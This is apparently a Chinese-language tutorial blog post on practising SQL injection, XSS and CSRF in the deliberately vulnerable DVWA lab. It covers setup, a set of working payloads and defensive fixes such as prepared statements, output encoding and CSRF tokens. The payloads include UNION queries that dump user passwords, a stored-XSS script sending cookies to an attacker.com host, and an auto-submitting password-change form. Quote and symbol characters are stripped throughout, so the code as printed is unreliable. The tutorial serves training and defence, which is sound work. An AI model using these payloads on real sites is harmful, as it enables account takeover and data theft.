别再只背OWASP Top 10了!用DVWA靶场实战SQL注入、XSS和CSRF(附详细Payload)

张开发
2026/5/4 9:25:42 15 分钟阅读
别再只背OWASP Top 10了!用DVWA靶场实战SQL注入、XSS和CSRF(附详细Payload)
从零构建DVWA靶场SQL注入、XSS与CSRF实战攻防手册当安全工程师在面试中被问及如何验证一个登录框是否存在SQL注入漏洞时教科书式的回答往往停留在输入单引号看是否报错的层面。但真实渗透测试中我们需要掌握从漏洞探测到利用的完整链条——这正是DVWADamn Vulnerable Web Application靶场存在的意义。这个故意设计漏洞的PHP/MySQL应用就像网络安全领域的解剖实验室允许我们在合法环境中练习真实攻击手法。1. 靶场环境科学配置指南在Kali Linux 2023.3虚拟机中推荐使用LAMPLinuxApacheMySQLPHP作为基础环境。以下是最简部署流程# 安装核心组件 sudo apt update sudo apt install -y apache2 mariadb-server php libapache2-mod-php php-mysql # 下载DVWA wget https://github.com/digininja/DVWA/archive/master.zip -O /var/www/html/dvwa.zip unzip /var/www/html/dvwa.zip mv /var/www/html/DVWA-master /var/www/html/dvwa配置MySQL时需特别注意权限设置以下是安全初始化命令CREATE DATABASE dvwa; CREATE USER dvwa_userlocalhost IDENTIFIED BY pssw0rd; GRANT ALL PRIVILEGES ON dvwa.* TO dvwa_userlocalhost; FLUSH PRIVILEGES;提示修改/var/www/html/dvwa/config/config.inc.php中的数据库连接信息将$_DVWA[ db_password ]设为上述密码安全级别设置是DVWA的特色功能通过界面右下角的Security Level可切换四种防护等级安全等级防护措施适合场景Low无任何过滤基础漏洞原理验证Medium基础转义处理绕过技巧练习High高级过滤机制挑战性漏洞利用Impossible完美防护安全代码参考2. SQL注入实战从基础注入到高级绕过在DVWA的SQL Injection模块设置安全级别为Low后输入用户ID的文本框成为我们的攻击入口。经典探测手法是输入1 and 11与1 and 12观察返回差异。高效注入步骤判断字段数1 order by 2--逐步增加数字直到报错获取当前数据库1 union select 1,database()--提取表名1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()--获取列名1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers--导出数据1 union select user,password from users--当切换到Medium级别时发现下拉菜单替代了输入框。此时需要Burp Suite拦截请求修改参数POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 ... id1unionselect1%2Cversion()--SubmitSubmit对于High级别的二次注入漏洞需要分步操作1. 插入恶意数据 or 11 -- 2. 在后续查询中触发通过查看用户列表执行注入3. XSS攻击三维度突破3.1 反射型XSS低安全级别在搜索框输入经典测试向量scriptalert(document.cookie)/script更隐蔽的攻击方式是利用图片标签img srcx onerroralert(XSS)3.2 存储型XSS留言板场景构造窃取cookie的恶意代码script var img new Image(); img.src http://attacker.com/steal.php?cookieencodeURIComponent(document.cookie); /script3.3 DOM型XSS前端漏洞修改URL参数触发http://dvwa.test/vulnerabilities/xss_d/?defaultscriptalert(1)/script现代绕过技巧Unicode编码\u003cscript\u003e利用HTML5特性svg onloadalert(1)空格替代img/srcx onerroralert(1)4. CSRF攻击的精准打击在DVWA的CSRF模块Low级别下修改密码的请求毫无防护http://dvwa.test/vulnerabilities/csrf/?password_newhackpassword_confhackChangeChange制作钓鱼页面的核心代码body onloaddocument.forms[0].submit() form actionhttp://dvwa.test/vulnerabilities/csrf/ methodGET input typehidden namepassword_new valuehacked input typehidden namepassword_conf valuehacked input typehidden nameChange valueChange /form /body防护方案对比方案实现难度安全性用户体验CSRF Token中★★★★★★★★★同源检测低★★★☆★★★★★二次验证高★★★★★★★☆5. 漏洞修复的工程实践对于SQL注入PHP 8.2推荐使用预处理语句$stmt $pdo-prepare(SELECT first_name FROM users WHERE user_id :id); $stmt-execute([id $input]);XSS防护应实施深度防御策略// 输出编码 htmlspecialchars($input, ENT_QUOTES, UTF-8); // CSP头设置 header(Content-Security-Policy: default-src self);CSRF防护的Token实现逻辑// 生成Token $_SESSION[token] bin2hex(random_bytes(32)); // 验证Token if (!hash_equals($_SESSION[token], $_POST[token])) { die(CSRF token validation failed); }在真实企业环境中建议采用分层防御网络层WAF规则更新如ModSecurity CRS规则集系统层定期漏洞扫描使用OpenVAS或Nessus代码层SAST工具集成SonarQube或Checkmarx运营层日志监控ELK Stack实现实时告警

更多文章